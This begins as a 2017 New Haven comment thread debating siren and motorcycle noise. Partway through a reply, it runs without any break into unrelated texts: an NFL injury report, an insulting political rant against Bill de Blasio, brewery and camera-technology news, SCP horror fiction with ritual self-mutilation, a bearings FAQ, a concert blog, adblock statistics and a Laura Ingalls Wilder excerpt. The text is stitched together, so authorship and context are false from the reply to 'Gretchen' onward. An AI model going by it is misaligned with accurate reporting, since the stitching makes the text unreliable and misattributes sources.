posted by: Anderson Scooper on May 11, 2017 4:19pm THE FRIGGIN’ MOTORCYCLES are the problem in terms of downtown noise. The ambulances are annoying, but they rank well behind the motorcycles. (And the cars with the massive subwoofers!) Ticket the suburban jackasses riding around on their straight-pipe hogs, waking up hundreds of people on a weekend night!
posted by: HewNaven on May 11, 2017 6:27pm Thank you, Anderson! One guy complains about sirens and they bring him into the mayor’s office? We’ve all been complaining about loud motorcycles for years. Problem is, many cops are motorheads. They laugh and look the other way. Also, you can’t just call these idiots in for a meeting. You have to pull over each one and issue an infraction. Very time consuming compared to the siren issue.
posted by: Kevin McCarthy on May 11, 2017 8:21pm As a practical matter, we can’t reduce the volume of the sirens. But we can ask AMR and the NHFD to be more judicious in their use. I live a block away from I-91. I routinely hear ambulance sirens from the highway for periods of five minutes or more, i.e., the entire trip in the city. This is undoubtedly necessary during rush hour to deal with traffic. But the same phenomenon occurs late at night when traffic volumes are much lower. Ultimately, the decision on when to use sirens has to be left to the ambulance driver. But, to pick up on Dwightstreeter’s point, noise pollution jeopardizes public health. It would be in the public interest to limit the use of sirens to circumstances when it is necessary to protect the safety of the ambulance crew, patient, or other drivers.
posted by: 093Local on May 11, 2017 11:15pm While it’s entirely understandable that sirens may be a problem for the community’s health and may negatively impact quality of life, an emergency vehicle, being a police cruiser, fire truck, ambulance, etc, is only considered to be an “emergency vehicle” while both audible and visible markers are engaged pursuant to CT statute 14-283. It comes down to liability for emergency personnel. Of course it’s common practice for some to shut the sirens down given certain situations, but if it results in a crash or worse, that individual operating the emergency vehicle will be held liable.
posted by: 32knot on May 12, 2017 6:29am Sitting in my house last night in Morris Cove and a NHFD Paramedic truck and 2 police cars went by about 8:30pm with lights flashing but no sirens. I thought somebody in charge got the message, good job. And then 2 minutes later a AMR ambulance went by with siren going off the length of the long street, not just at the intersection. It was not an emergency because the NHFD and NHPD were not going at high speed and neither was AMR. So what was the deal AMR???? The loud motorcycles are out of control all over the city not just downtown.
posted by: brownetowne on May 12, 2017 9:26am Babson’s comment about diesel engines is hilarious. That has nothing to do with the noise of sirens. After reading this article it seems like absolutely nothing will change and will likely get worse, despite any pathetic efforts that have been ongoing since 2014.
posted by: theNEWnewhaven on May 12, 2017 10:04am I totally agree,... unless someone I care about is in the ambulance. So,... let’s realize these trips are IMPORTANT for those taking them. Maybe ask your landlord for double-paned windows WITHOUT the lead paint. Also, get a fan/white noise machine. Or, move to Woodbridge.
posted by: Rivertostate on May 12, 2017 1:37pm 093local is 100% correct. State statute states that if an emergency vehicle is responding with their emergency lights on they must also be using their siren. While some operators disregard this the liability will fall in them in the event of an accident. When one chooses to live in an urban environment sirens are a part of life. This is pretty basic and complaining about certainly isn’t going to change it one bit! Do you want emergency vehicles not arriving in a timely manner? Do you want the chronically complaining cyclists whining they didn’t hear the emergency vehicle that they turned into? Do you want the Yalie with their face in their cell phone jay walking hit because they stepped out in front of the vehicle? I for one will be making sure my siren is blaring, air horn blasting, and going just a little bit slower by The Taft from now on… just sayin’. This is just a waste of time of all those department heads!!
posted by: just my view on May 12, 2017 3:26pm @093 - spot on and Attorney Knox should know that. Public expectation is that all 911 responses should be lights and sirens and they should be there as soon after hanging up the phone as possible when in reality the 1-2 minutes saved utilizing lights and sirens in most communities are meaningless in all but a few true life-threatening emergencies. The path should be to eliminate as many dangerous light and siren responses as possible while continuing to educate the public.
posted by: mmrmike1 on May 12, 2017 4:01pm All these people complaining about noise are obviously new to the city. If your looking for peace and quiet then move back to the suburbs and stop your whining. I for one have a difficult time sleeping with the noise of crickets when I’m of town. What are they going to complain about next, the street lights are to bright?
posted by: THREEFIFTHS on May 12, 2017 4:20pm posted by: 32knot on May 12, 2017 7:29am Sitting in my house last night in Morris Cove and a NHFD Paramedic truck and 2 police cars went by about 8:30pm with lights flashing but no sirens. Sometimes when someone has an injury that gets worse with stress and worry (i.e heart attack) they will shut off the sirens to help calm them down.
posted by: Anderson Scooper on May 12, 2017 5:13pm @ Mike—You sound like a really good guy so I hope you can understand that while City dwellers are tolerant people and are used to putting up with a lot of ambient noise, there are still limits to that which can be considered reasonable and acceptable. Should an urban neighborhood really be an anything-goes environment? Is that what you’re advocating for? The garbage trucks don’t have to pick-up at 4am in the morning, the nightclubs don’t have to jack their monster speakers up to seismic levels, the motorcycles don’t need to go screaming around town being as loud as possible, the sirens could definitely be toned down, etc., etc. Most of this is just basic human decency, and that which is routinely enforced in suburban towns should also be enforced in New Haven. That doesn’t mean there won’t remain a great deal of noise for urban residents to contend with. It does mean that gross and obnoxious behavior should be regulated and curbed, for the sake of strong neighborhoods and normal quality of life concerns. Thanks so much.
posted by: hrsn on May 12, 2017 8:27pm New Haven’s sirens are the loudest I’ve experienced in a number of cities I’ve lived in. Even in NYC, they’re using low-frequency directional sirens that clear traffic perfectly well.
posted by: Rivertostate on May 13, 2017 4:43am Anderson… 1. YES garbage trucks need to pick up at 4am! Otherwise they clog the streets for commuters,and the drivers are unable navigate the trucks into the alleys due to traffic and parked cars. 2. YES the clubs need to play loud music because that is part of New Havens nightlife and generates quite a bit of revenue for the city. 3. I’ll agree with you about motorcycle noise but this is not a problem unique to the city, this plagues suburbs as well. And I’m not sure what kind of laws are on the books to enforce it. 4. hrsn, ive been hearing that tale for the last 20 years. “New Haven’s sirens are louder than anywhere else”. I assure you New Haven’s sirens are no louder than anywhere else. While some cities / emergency services may be migrating to lower frequency sirens most still just have plain old sirens.
So in reply to Andersons comment, NO the sirens can’t (and won’t) be turned down. It seems this new city dwelling movement is trying to change everything that brought them to the city. I lived downtown on Crown St for 3 years, it was a good time! But I never whined about the noise, the cars, or the suburbanites that contribute to the city. I knew what I was getting into when I signed my lease, if anybody thought that living in Downtown New Haven was going to provide peace and tranquility that truly is laughable. May I recommend ear plugs, a white noise machine, or a moving company.
posted by: Newresident2015 on May 13, 2017 3:37pm I have lived in NYC, London and other large cities with many more emergencies and hospitals than tiny New Haven. I agree that the use of sirens in New Haven is way out of proportion. I dont see a lot of traffic getting in the way of emergency vehicles at 10PM in the side streets of the East Rock area of New Haven where I live. Yet sirens all on at full strength as soon as they leave the fire house. Is it really necessary?
posted by: Dwightstreeter on May 13, 2017 7:20pm @Rivertostate: It is a violation of local ordinance to pick up garbage at 4 AM. I know because I got the police to deal with the violator on Howe St. As I recall, 7 AM is acceptable - except the violator started slipping to 6 AM until I contacted my local police to remind the violator.
If you want a city or town people want to live in, you have to provide some basics, like light, air and quiet time for sleep.
You may not care, but I sure do.
posted by: Gretchen Pritchard on May 14, 2017 12:45pm I figure with live in a town with a gigantic tertiary-care hospital downtown, we’re gonna get some ambulances. A couple of thoughts, though: I don’t understand why a call to the emergency dispatcher where you specifically say “My neighbor’s not home, their smoke alarm is going off and I THINK I smell smoke; can you send someone to check it out?” is followed by a screaming full-bore squadron of two hook-and-ladder trucks, an ambulance, and a cop car, all of which can be heard from seven blocks away as soon as they pull out of the fire station. Also: I assume some of these runs, especially some of the ones that don’t give the appearance of being genuine emergencies, must be training runs. It’s obviously not easy to drive even an ambulance, let alone a monster-sized fire truck, as safely as possible and at the same time as fast as possible, through city traffic, claiming all the appropriate rights of way but not endangering others. It stands to reason it has to be practiced with real-world sirens blaring. On the other hand, I always assume a certain number of runs, also, are donut runs. Especially the ones where the driver turns on the siren right before an intersection with a red light and turns it back off again once the vehicle has run the red slight with impunity.
posted by: Rivertostate on May 14, 2017 3:57pm Gretchen,
Indianapolis Colts wide receiver T.Y. Hilton (13) sits on the bench with his knee wrapped up in the second half of the game Sunday, September 13, 2015 at Ralph Wilson Stadium in Orchard Park NY. The Colts lost 27-14. (Photo: Matt Kryger / The Star) Story Highlights Jets at Colts, 8:30 p.m. Sept. 21, ESPN
A day after his left knee swelled to the point it felt "numb," Indianapolis Colts receiver T.Y. Hilton received good news: He suffered no structural damage after banging that knee on the turf at Ralph Wilson Stadium in Sunday's 27-14 loss to the Bills.
While the Colts await results of an MRI on their newly-minted $65 million receiver, it appears they dodged a bullet. Hilton's injury isn't serious. He'll be back, though his status for Monday night's matchup against the New York Jets remains uncertain.
"Doing better," Hilton said Monday. "Swelling went down a little bit. Feeling good. As soon as I got off the plane last night, I came here and got some treatment in. I'm feeling good."
Hilton came up slow after his third-down catch late in the third quarter Sunday, clutching his left knee for a few seconds. It came on a short out-route that saw Hilton haul in a 5-yard catch before Bills cornerback Nickell Robey tackled him to the turf.
Hilton returned for two more plays before heading to the locker room.
"It blew up on me real fast," he said. "It was just hurting and sore to the touch. I feel a lot better (today).
"It was really scary, but I feel better now."
Hilton said he's met with Colts team doctors four times for treatment since returning to Indianapolis.
Coach Chuck Pagano declared Hilton day-to-day.
Hilton, who had a team-high seven catches for 88 yards Sunday in Buffalo, wasn't shy about voicing his desire to be on the field Monday night.
"Monday night speaks for itself," he said. "Everybody's watching Monday night. It means a lot, especially going against a great Jets defense. It's one I really don't want to miss."
Owner Jim Irsay said after Sunday's game that, while X-rays were negative, Hilton "may miss some time."
Hilton finished sixth in the league in receiving yards last season with 1,345 and earned his first Pro Bowl nod.
TAPPER: Under a new sanctuary city law that you approved, the city of New York shields from the feds undocumented immigrants who commit what are deemed to be lesser offenses, but they include drunk driving and grand larceny. If you’re a drunk driver and you’re an illegal immigrant, why should there be a place for you in this country? DE BLASIO: Jake… we’re not going to see families torn apart over a very minor offense. TAPPER: But is grand larceny or drunk driving a very minor offense? DE BLASIO: Drunk driving that does not lead to any other negative outcome – I would define it as that [a very minor offense]. That, I think, could be a good model for how we proceed as a nation. Some small offense, that’s not a reason to tear apart a family.
This walking lobotomy holds office. Let that sink in for a moment.
The issue here is painfully obvious. Almost as painful as listening to Bill’s lips flap together and make noises imitating words. The left has gone way beyond the root of the problem here. See, the government doesn’t deport people “just for owning weed.” Or “just for rolling through a stop sign.” They get deported for coming into the country illegally. Tis against the law. Remember?
Not only are people like De Blasio giving illegals a free pass for committing the crime of illegal immigration… But also a free pass for any crime deemed a “minor offense.” Drunk driving? A-OK! Only when committed by a non-citizen, of course.
We’re currently witnessing the lengths to which leftists will go to defend the indefensible. They put a lot of effort into justifying things like illegal immigration. Hence why most of them don’t have energy for jobs. A social justice warrior’s work is never done, as they say.
Behold, the reason why so many Americans decided to vote for anybody besides a Democrat…
Yet another microbrewery is gearing up to launch in Minneapolis—a city with a seemingly endless appetite for craft beer.
Indeed Brewing Company announced Monday that it is setting up shop in the heart of the Northeast Minneapolis Arts District this summer.
The brewery will be located at 711 15th Avenue Northeast in Minneapolis, in what is known as the Solar Arts Building. It will have an initial capacity of 3,800 barrels.
Indeed intends to open a 12,000-square-foot brewery, from which it will self-distribute its flagship craft beers to retailers and restaurants, as well as a 1,500-square-foot “taproom” with an adjoining patio, from which it will serve pints to patrons.
Such an operation was previously prohibited under longstanding Minnesota liquor laws, which didn’t allow breweries that produced beer commercially to also sell pints of beer on their premises. Brooklyn Center-based Surly Brewing Company led the charge to change the law, and Governor Mark Dayton signed the so-called “Surly Bill” in May, creating a new “taproom license” that allows the state’s beer makers to sell pints at their breweries.
“We want our taproom to be a hub for all things Indeed, like a living room for our brewery, so we can invite people in to get to know us and our beer,” Indeed co-founder Tom Whisenand said in a statement.
Indeed said it will brew “hop-forward, adventurous beers for adventurous drinkers—think chipotle-smoked porter.” The beers will be sold in six-packs of 12-ounce cans, unlike most micro-brews but not unprecedented: Surly’s beers come in four-packs of 16-ounce cans.
The brewery's three co-founders—Whisenand, Rachel Anderson, and Nathan Berndt—brought on Josh Bischoff to lead production. He was a lead brewer at Minneapolis Town Hall Brewery for eight years and received numerous awards for his often experimental concoctions.
Twin Cities Business Senior Editor Gene Rebeck took an in-depth look at the local beer scene in this recent feature story, which explores why craft breweries are springing up across the Twin Cities right now, and whether demand will help keep them all afloat.
—Jake Anderson
By combining off-the-shelf technologies found in standard cameras and digital movie projectors they have successfully created a tool that will transform many forms of detailed scientific imaging and could provide access to high-speed video with high-resolution still images from the same camera at a price suitable for the consumer market. This could have everyday applications for everything from CCTV to sports photography and is already attracting interest from the scientific imaging sector where the ability to capture very high quality still images that correspond exactly to very high speed video is extremely desirable and currently very expensive to achieve. The technology has been patented by Isis Innovation, the University of Oxford's technology transfer office, which provided seed funding for this development and welcomes contact from industry partners to take the technology to market. The research is published February 14, 2010 in Nature Methods.
Dr Peter Kohl and his team study the human heart using sophisticated imaging and computer technologies. They have previously created an animated model of the heart, which allows one to view the heart from all angles and look at all layers of the organ, from the largest structures right down to the cellular level. They do this by combining many different types of information about heart structure and function using powerful computers and advanced optical imaging tools. This requires a combination of speed and detail, which has been difficult to achieve using current photographic techniques.
Dr Kohl said: "Anyone who has ever tried to take photographs or video of a high-speed scene, like football or motor racing, even with a fairly decent digital SLR, will know that it's very difficult to get a sharp image because the movement causes blurring. We have the same problem in science, where we may miss really vital information like very rapid changes in intensity of light from fluorescent molecules that tell us about what is happening inside a cell. Having a massive 10 or 12 megapixel sensor, as many cameras now do, does absolutely nothing to improve this situation.
"Dr Gil Bub from my team then came up with a really great idea to bring together high-resolution still images and high-speed video footage, at the same time and on the same camera chip -- 'the real motion picture'! The sort of cameras researchers would normally need to get similar high-speed footage can set you back tens of thousands of pounds, but Dr Bub's invention does so at a fraction of this cost. This will be a great tool for us and the rest of the research community and could also be used in a number of other ways that are useful to industry and consumers."
"What's new about this is that the picture and video are captured at the same time on the same sensor" said Dr Bub. "This is done by allowing the camera's pixels to act as if they were part of tens, or even hundreds of individual cameras taking pictures in rapid succession during a single normal exposure. The trick is that the pattern of pixel exposures keeps the high resolution content of the overall image, which can then be used as-is, to form a regular high-res picture, or be decoded into a high-speed movie."
The technique works by dividing all the camera's pixels into groups that are then allowed to take their part of the bigger picture in well-controlled succession, very quickly, and during the time required to take a single 'normal' snapshot. So for example, if you use 16 pixel patterns and sequentially expose each of them for one sixteenth of the time the main camera shutter remains open, there would be 16 time points at which evenly distributed parts of the image will be captured by the different pixel groups. You then have two choices: either you view all 16 groups together as your usual high-resolution still image, or you play the sixteen sub-images one after the other, to generate a high-speed movie.
This concept has attracted the attention of Cairn Research, a UK based scientific instrument manufacturer. "High speed imaging of biologically important processes is critical for many of our customers at Cairn Research," said Dr Martyn Reynolds, "Frequently there is a requirement to record events in living cells that are over in a fraction of a second, and this pushes us to the limits of existing technology. For several years we have been developing a product line for fast imaging of optical slices though cells, and we are very interested in using the processes and technology developed by the group in Oxford to extend the capabilities of our devices and the scientific benefits this could bring."
The research may soon move from the optical bench to a consumer-friendly package. Dr. Mark Pitter from the University of Nottingham is planning to compress the technology into an all-in-one sensor that could be put inside normal cameras. Dr Pitter said: "The use of a custom-built solid state sensor will allow us to design compact and simple cameras, microscopes and other optical devices that further reduce the cost and effort needed for this exciting technique. This will make it useful for a far wider range of applications, such as consumer cameras, security systems, or manufacturing control."
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Chinese Communist party "propaganda" and "brainwashing" must be countered by compulsory "Australian values" education, according to a group of pro-democracy activists alarmed at Beijing's growing influence in their new homeland.
The Australian Values Alliance (AVA), which was established last year by Australians with Chinese heritage, warned "foreign power" was trying to infiltrate all levels of government and the education system.
"The infiltration of the Chinese Communist Party into our society [is] damaging our core values," Australian Values Alliance founder John Hu said.
"In Australia we believe in freedom and democracy and the teaching they have is totally on the contrary."
Chinese students were particularly prone to interference from the Communist regime in Beijing, the AVA said, suggesting compulsory "Australian values" education be conducted as part of university orientation.
"We request that legislation be introduced to include Australian values education as part of compulsory induction program for all international students, especially those from authoritarian regimes," the group said.
In an eight point policy statement, the organisation also called for new legislation to compel elected members of all levels of government and senior civil servants "to disclose their foreign business interests and foreign assets to avoid conflicts of interest".
AVA members argued recent reporting by the ABC's Four Corners program had highlighted foreign money and political donations were influencing decision making in Australia.
The organisation also warned Beijing was controlling much of the Chinese language media and many Chinese community associations, while "brainwashing and monitoring Chinese expatriates and migrants in Australia".
Members of the Alliance will today host a seminar in Sydney to discuss their concerns over the "Chinese communist party-state exerted mass infiltrations into Australia".
Topics: world-politics, laws, education, communism, australia, china
Item #: SCP-3624
Object Class: Euclid
Special Containment Procedures: Instances of SCP-3624-1 are to be monitored remotely and all civilians that come into contact with SCP-3624-1 instances are to be administered class A amnestics. All SCP-3624-1 instances of which associated subjects have expired (as of ██/██/20██, four) are to be kept in standard containment units. The size of the cells is to be adjusted for each individual instance.
GoI-435's operations are to be monitored and all SCP-3624 events are to be interrupted. Zoos and animal shelters in the designated high-risk zones (for details view Document-3624-G13) are to be monitored and all cases of missing exotic animals are to be screened for potential GoI-435 involvement. MTF Gamma-13 ("Rosemary's Lover") is assigned to the task of dismantling the organization and all relevant information is to be reported to the Task Force leader.
Description: SCP-3624 is a thaumaturgic ritual consisting of a number of rites and gestures. It utilizes a number of requisites, most important being multiple animal body parts and silver knives. The ritual involves sewing these body parts together in a shape superficially resembling an animal. The shapes vary in size and form with the smallest documented measuring 1 m in height and 2 m in length and the largest 3 m in height and 12 m in length. After an SCP-3624 event, the body will be buried next to the site of the ritual. After approximately half an hour, the "animal" will become animate and begin displaying life functions, becoming an instance of SCP-3624-1. This happens regardless of how compatible the body parts are with each other and will take place even in biologically implausible cases. Organs of SCP-3624-1 instances are fully functioning and normal processes take place.
These rituals are connected to a cult called "The Gravediggers" associated with ancient Gothic pagan beliefs (designated Group of Interest-435). The group regularly attempts to carry out the rituals, most often in relatively isolated locations. A nearly completed ritual was documented by Foundation operatives and other SCP-3624 events have only slightly deviated from it.
+ View document - Access granted Name: Transcript of SCP-3624 Event-2 Date: ██/██/201█ Foreword: The second documented ritual took place in an abandoned church in ██████, Germany and was allowed to progress to near completion. The building was under surveillance using planted cameras and microphones and surrounded by Foundation forces. 10:12 PM: Members of GoI-435 gather on the pews, while the cult leader and his helpers set up a wooden altar shaped in the likeness of a coffin. 10:14 PM: The leader delivers a speech, announcing that the "time of burial" is coming and that the ritual will bring it closer. The monologue includes a description of damage that SCP-3624 will bring to the world and an assurance that the members of the "ancient faith" will be the only ones spared. 10:30 PM: The ritual begins, helpers bring previously slaughtered animals (common vampire bat Desmodus rotundus, common cow Bos taurus, Eurasian lynx Lynx lynx, brown bear Ursus arctos, Atlantic cod Gadus morhua) to the altar and begin cutting their limbs. The cult starts chanting. The language was later identified to be ancient Germanic in origin. 10:35 PM: Body parts are sewn together, the leader joins the chant. 10:37 PM: Three cult members begin self-mutilation with knives and other sharp implements, severing a few of their fingers and throwing them on the altar. 10:48 PM: A live pig is brought in. The animal is hung over the altar on scaffolding. The leader slits its throat and collects the blood with a bowl. 10:51 PM: Four more cultists mutilate themselves. One tries to cut his arm at the elbow, but passes out from blood loss before completion. 10:56 PM: After performing a number of gestures the cult leader begins pouring the blood into the mouth of the corpse. Mission command orders an assault on the building. 10:57 PM: Containment team Beta enters the building and stops the ritual. Afterword: Foundation forces suffered no casualties. 14 GoI-435 members were captured including the leader, remaining 23 were killed in action.
An example contained instance of SCP-3624-1 is characterized by:
• Head of Felis catus (house cat),
• Torso of Canis lupus familiaris (domestic dog),
• Front legs of Ursus arctos (brown bear),
• Lack of hind legs,
• Tail of Sus scrofa domesticus (domestic pig).
It was recovered from █████, Wales after reports of a "monster" in the nearby woods.
The aim of the SCP-3624 ritual is presumed to be a creation of an entity hostile to all sentient life, based on interrogations of GoI-435 members and collected scriptures. Despite this intended goal, SCP-3624-1 instances are generally friendly towards humans. The anomalies imitate the behavior, diet and sounds of animals that they superficially resemble. After becoming animate, the entities will begin moving around the area where ritual took place, seeking a person with whom they could form a relationship, referred to as bond.
So far, all SCP-3624-1 instances have formed a bond, finding an "owner". Individuals that the entities view as their associated subjects perceive them as a common domesticated animal, such as dogs or cats. SCP-3624-1 instances form a strong relationship with these and will go to great lengths to protect them. The anomalies seem to prefer individuals isolated from the society, often targeting old or handicapped individuals. So far no entity has ever harmed its bonded subject and the relationship has even brought positive effects for the subjects, including improvements in mental health.
SCP-3624-1 instances are strongly emotionally bonded and will enter catatonic state if separated from their associated subject for longer periods of time. If the associated person expires, the entity will show signs of grief and stay around the place of residence. At this stage, the anomalies are safe to be retrieved and are unlikely to display hostility, unless directly provoked.
Addendum 3624-A: Transcript of SCP-3624 Event-1
+ View document - Access granted Date: ██/██/201█ Foreword: After reports of "cultists" in an abandoned village in the woods near █████, Germany a team consisting of five Foundation agents was dispatched, including Agent S████, Agent W█████, Agent G████, Agent T█████ and Agent D█████. The group was equipped with standard Foundation field kit and armed with 9mm handguns. The operation was overseen by nearby Site-23. The aim of the operation was to determine the nature of the potential anomaly. <Begin Log> Command: This is Site-23, team Alpha, do you copy? Agent S████: This is agent S████, loud and clear. Team is assembled and ready to go. We reached the end of the asphalt road, we'll cover the remaining distance on foot. Awaiting orders. Command: You have all been briefed on the subject. We have close to zero intel, so keep low profile and remain hidden. In case it gets hot, we have a containment team assembled and ready to go. For now head to your destination. Agent S████: Understood. Command: Good luck Alpha. Agent D████: Hopefully we won't need it. Agent S████: I wish I shared your optimism D████. Let's go. The village is good few clicks away. [IRRELEVANT DATA REMOVED] Agent S████: Command, we're here. A few cars and a bunch of ruined wooden buildings, seems like only the mayor's house is standing. We can hear chanting coming from it and the lights are on. No movement outside. There is a large hole in the ground in front of the building. Permission to approach? Command: Approved. Try to get a look through the windows, don't attract attention. Agent S████: Alright. T█████, W█████ approach from the Eastern side, use the bushes for concealment. G████ you're going with me. Have your cameras ready, we'll try to take some pics. D████, photograph the license plates of the cars. Agent G████: Jesus, they are loud! How can they scream like this? Command: We're hearing it. It does not sound like German. Team, please confirm. Agent S████: Confirmed, it bears some resemblance, but I can't understand a word. Agent W█████: I say there are at least fifty people inside. We won't deal with that many. Agent S████: We won't approach them. Stay hidden. Agent D████: No worries. They are nutters and they don't know we're here. They didn't even post sentries! Agent T█████: Movement! S████, do you see it? Agent S████: Yeah. They are leaving the building. Only around twenty people. Some seem to be missing limbs. Agent T█████: They are carrying something. What the fuck is this thing? Agent G████: That's a wolf head. But the torso is too big. It looks like a… Agent T█████: That's a zebra torso. It could be the one missing from the zoo! Agent S████: The legs look cat-like. Tiger? Agent D████: I said, they are crazies. Agent S████: Command, they are burying the… Thing in the hole. Command: Don't interfere. Agent W█████: We weren't planning to. Agent S████: OK, the group is getting into the cars. They are leaving! Command: Tell me you got everything on tape. Agent S████: Sure thing. I could identify at least a dozen. Command: Alright, we'll be on the lookout for cars. Are they gone? Agent S████: Yes, we're approaching the grave and building. Agent G████: We're inside. Oh God, the smell! Seems like they cleaned everything up. There are some blood splatters. Here are the missing limbs! Agent W█████: Should I start unearthing our little chimera? Agent S████: Do it. D████ will join you. Agent D████: Always getting the best job. Agent W█████: Where is your optimism? Hold this shovel. [IRRELEVANT DATA REMOVED] Agent D████: Jesus Christ! Oh fuck! Command: Report! Agent D████: Get away from me! Agent W█████: It's alive! Agent S████: Stay away from it! Command: Alpha, report! Agent D████: It's running away! Agent S████: Command? Our kitty started moving and then went for the woods. Agent G████: Damn, it's fast! No way I'm chasing this! Agent S████: D████, you alright? Agent D████: Yeah, it just… Pushed me? Kind of? Command: Alright, get your gear and head back. We're sending a chopper, hopefully we'll track this thing down from the air. <End Log> Afterword The instance of SCP-3624-1 was not found until ten days after, when it was located in close proximity to the house of PoI-3624-1 by a chopper. Agents who were part of the search operation reported hearing howling in the distance. PoI-3624-1 was apparently on a walk with the entity and was engaging in playful behavior with it. All members of the cult involved in the event were tracked down and interrogated.
Skate Bearings - Frequently Asked Questions
Skates and skateboards use precision bearings to enable them to run smoothly. They don’t require high precision bearings. Abec 1 precision is acceptable for skates and skateboards.
Beware of sales pitches that are embellished with technical sounding terms. You will often find that the more technical jargon that is contained in a sales pitch, the less meaningful it will be. If you don’t fully understand the jargon, don’t assume that it must mean something good.
Beware of sales pitches using excessive positive sounding adjectives, which when you think about it are really not measurable facts. By this we mean, look out for repetitive use of words like "super", "mega", "turbo", "extra", "improved", "heavy duty". Most of these phrases could legitimately be used to describe just about anything because they are not measurable qualities. A cassette player is improved when compared with a record player. An XT computer is Super Fast compared to an adding machine. Cardboard is heavy duty compared to paper. Plastic is heavy duty compared to cardboard. Steel is heavy duty compared to plastic. Is "Super Hardened" really any different to "Hardened"?
Frequently Asked Questions - Index
You can purchase online at Miniature Bearings Australia Online.
For a huge range of bearings online please visit the Bearing Shop Online website.
The Small Parts and Bearings website has a much larger range of engineering supplies.
Hobby and Engineering Supplies lists a smaller range of products and only the most popular items in each range. They also list many additional hobby specific categories.
Other pages related to Hobby - Skate
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[am2_see_also]
Harris filmed a scene in downtown Vancouver where Olaf exits his vehicle and enters a building to purchase a new disguise.
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My children do like the rap music and apparently there is a vibrant and growing rap scene in Seattle, at least this is what I have been told. So when my children expressed an interest in attending The Physics album drop I was concerned. I am one of those older folks who associate most rap music with misogynistic lyrics and anti-authoritarian attitudes, so I told my children I would chaperone them if they paid for everything: my ticket, the ferry ride, the meals, and all the coffee I could drink. They agreed and that is how I ended up at my first rap concert last Saturday.
It was a beautiful day to visit Seattle. The sky was clear and from the ferry the entire Cascade Range was visible from Mount Baker to Mount Rainier. There is no other major city in the US that is as lovely as Seattle on a clear day. This is not an opinion; it is fact.
We arrived in Seattle and headed for Neumos (the club where the concert was to be held) on Capitol Hill. We ate lunch, walked around and looked in the shops, and spent about two hours in Elliot Bay Bookstore. By the time 8PM rolled around I was already tired. I rallied by drinking a couple espresso shots and then went to stand in line for the concert. Most of the people in line were about 12 years old (anyone under 25 looks 12 to me these days.)
We entered the venue and I set up camp as far away from the stage as possible, my kids went the opposite direction. Neumos has an upstairs for over 21 drunks and a lower section for the kids. It did not take me long to feel old since I was downstairs with the kiddies, but I did my best to put my cool on and stood next to a large fan hoping it would blow the noise away once the concert started.
The first 30 minutes of the show were taken up with various strange looking dudes walking on stage and fiddling with turntables and cables. Most of the AV crew looked like they had just escaped from the set of One Flew Over the Cuckoo’s Nest. Eventually they connected all the right cords and the speakers began pumping out chest crushing bass thumping sounds that probably killed whales in the Puget Sound.
(Tomorrow: I learn to put my hands in the air.)
1. Adblock Users Are Not Anti-Advertising
For the most part, adblock users are not against advertising. However, they are against interruptive ads, spy/malware, privacy invasion and ads that slow down the sites they’re visiting¹. Only 6% of adblock users are totally opposed to all forms of online advertising.
2. Adblock Users Are Not Techies Who Haven’t Left Their Basement in 2 Years
a. Adblock users come from all walks of life and age groups. Recent research shows that Millennials have the highest percentage of adblock usage (as much as 66% use one )².
b. Adblock users tend to be more educated – according to recent reports, 45% of them have a bachelors degree or higher.
3. Publishers’ Google Analytics Data Is Affected
Adblockers not only block ads, but some also block Google Analytics, so many publishers’ Internet traffic statistics may be inaccurate.
4. Adblocking Is Not a Fad
Adblocking rates continue to grow globally and in the US, the rate is expected to surpass 30% in 2017³.
5. Top 5 Ways People Hear about Adblockers⁴:
a. Friend or family member is using one
b. Browsing the Web
c. Social Media
d. Web Store
e. News Article
6. Verticals with the Highest Percentage of Adblocking⁵:
a. Gaming
b. Tech
c. Comics
d. Entertainment
7. Users Can Block Ads Using Different Technologies, Including:
a. Browser extensions (most popular)
b. Mobile apps
c. Proxy-based blockers
d. Network-level blockers
8. Adblocking Is Illegal in China
As of September 2016, adblocking is illegal in China
9. Most Adblockers Do Not Block all Ads
Some adblockers selectively let through ads which they deem to be nonintrusive, though they generally charge publishers and their adtech partners a “whitelisting” fee for this. However, this whitelisting does not address user concerns around privacy, malware or slow page load times.
10. There Are Ways to Recover Revenue Lost to Adblocking
a. Ad Reinsertion / Ad Recovery (used by Facebook leading to an 18% increase in ad revenue)
b. Content subscription fees or paywalls
c. Micro-payments and macro-payments
d. Messaging; i.e. asking the user to disable their adblocker
Blockthrough helps online publishers recover the revenue they’re losing to adblockers while solving the problems that drove users to block ads in the first place. Want to know more? Contact us
[1] https://research.hubspot.com/reports/why-people-block-ads-and-what-it-means-for-marketers-and-advertisers
[2] https://www.emarketer.com/Article/Most-Millennials-Have-Installed-Ad-Blockers/1014592
[3] https://www.emarketer.com/Article/US-Ad-Blocking-Jump-by-Double-Digits-This-Year/1014111
[4] https://research.hubspot.com/reports/why-people-block-ads-and-what-it-means-for-marketers-and-advertisers
Iwata's funeral services were held over two days at a Kyoto temple, with more than 2,600 people lining up to pay their respects on the first day and 1,500 on the second. Some of the mourners carried colorful 3DS systems, a console that Iwata himself first held aloft at Nintendo's E3 2010 press conference, the Wall Street Journal reports.
Iwata planted the seeds of flowers "that will make people around the world smile," Genyo Takeda, general manager of Nintendo's integrated research and development division, said in a eulogy delivered on Friday. Takeda pledged that he and Shigeru Miyamoto, his fellow representative director, will make sure those seeds grow in Iwata's absence.
Little House on the Prairie.
I came across an article about a speech she gave on October 16, 1937, at a book fair in a Detroit department store. Her speech was published forty years later (September, 1978) in the
Saturday Evening Post.
I read the speech and was astonished at what she said. Moreover, I was astonished that none of the material I'd read to that point (and since) has commented on that speech... She said:
Every story in this novel, all the circumstances, each incident are true. All I have told is true, but it is not the whole truth. There were some stories I wanted to tell but would not be responsible for putting in a book for children, even though I knew them as a child.
And here is an extended excerpt. I'm adding bold text to set off the portions of the speech I want you to pay particular attention to: And here is an extended excerpt. I'm adding bold text to set off the portions of the speech I want you to pay particular attention to:
There was the story of the Bender family that belonged in the third volume, Little House on the Prairie. The Benders lived halfway between it and Independence , Kansas . We stopped there, on our way in to the Little House, while Pa watered the horses and brought us all a drink from the well near the door of the house. I saw Kate Bender standing in the doorway. We did not go in because we could not afford to stop at a tavern.
On his trip to Independence to sell his furs, Pa stopped again for water, but did not go in for the same reason as before.
There were Kate Bender and two men, her brothers, in the family and their tavern was the only place for travelers to stop on the road south from Independence . People disappeared on that road. Leaving Independence and going south they were never heard of again. It was thought they were killed by Indians but no bodies were ever found.
Then it was noticed that the Benders’ garden was always freshly plowed but never planted. People wondered. And then a man came from the east looking for his brother, who was missing.
He made up a party in Independence and they followed the road south, but when they came to the Bender place there was no one there. There were signs of hurried departure and they searched the place.
